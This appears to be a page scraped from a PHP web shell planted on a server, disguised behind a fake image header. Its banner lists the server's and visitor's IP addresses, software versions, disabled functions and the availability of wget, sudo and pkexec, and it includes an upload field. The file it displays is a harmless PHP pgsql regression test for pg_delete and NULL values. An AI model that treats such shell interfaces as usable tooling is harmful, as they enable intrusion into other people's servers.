????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.145.79.94 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/pgsql/tests/ |
Upload File : |
--TEST-- Bug #47199 (pg_delete fails on NULL) --SKIPIF-- <?php require_once('skipif.inc'); ?> --FILE-- <?php require_once('config.inc'); $dbh = pg_connect($conn_str); $tbl_name = 'test_47199'; @pg_query("DROP TABLE $tbl_name"); pg_query("CREATE TABLE $tbl_name (null_field INT, not_null_field INT NOT NULL)"); pg_insert($dbh, $tbl_name, array('null_field' => null, 'not_null_field' => 1)); pg_insert($dbh, $tbl_name, array('null_field' => null, 'not_null_field' => 2)); var_dump(pg_fetch_all(pg_query('SELECT * FROM '. $tbl_name))); $query = pg_delete($dbh, $tbl_name, array('null_field' => NULL,'not_null_field' => 2), PGSQL_DML_STRING|PGSQL_DML_EXEC); echo $query, "\n"; $query = pg_update($dbh, $tbl_name, array('null_field' => NULL, 'not_null_field' => 0), array('not_null_field' => 1, 'null_field' => ''), PGSQL_DML_STRING|PGSQL_DML_EXEC); echo $query, "\n"; var_dump(pg_fetch_all(pg_query('SELECT * FROM '. $tbl_name))); @pg_query("DROP TABLE $tbl_name"); pg_close($dbh); echo PHP_EOL."Done".PHP_EOL; ?> --EXPECTF-- array(2) { [0]=> array(2) { ["null_field"]=> NULL ["not_null_field"]=> string(1) "1" } [1]=> array(2) { ["null_field"]=> NULL ["not_null_field"]=> string(1) "2" } } DELETE FROM "test_47199" WHERE "null_field" IS NULL AND "not_null_field"=2; UPDATE "test_47199" SET "null_field"=NULL,"not_null_field"=0 WHERE "not_null_field"=1 AND "null_field" IS NULL; array(1) { [0]=> array(2) { ["null_field"]=> NULL ["not_null_field"]=> string(1) "0" } } Done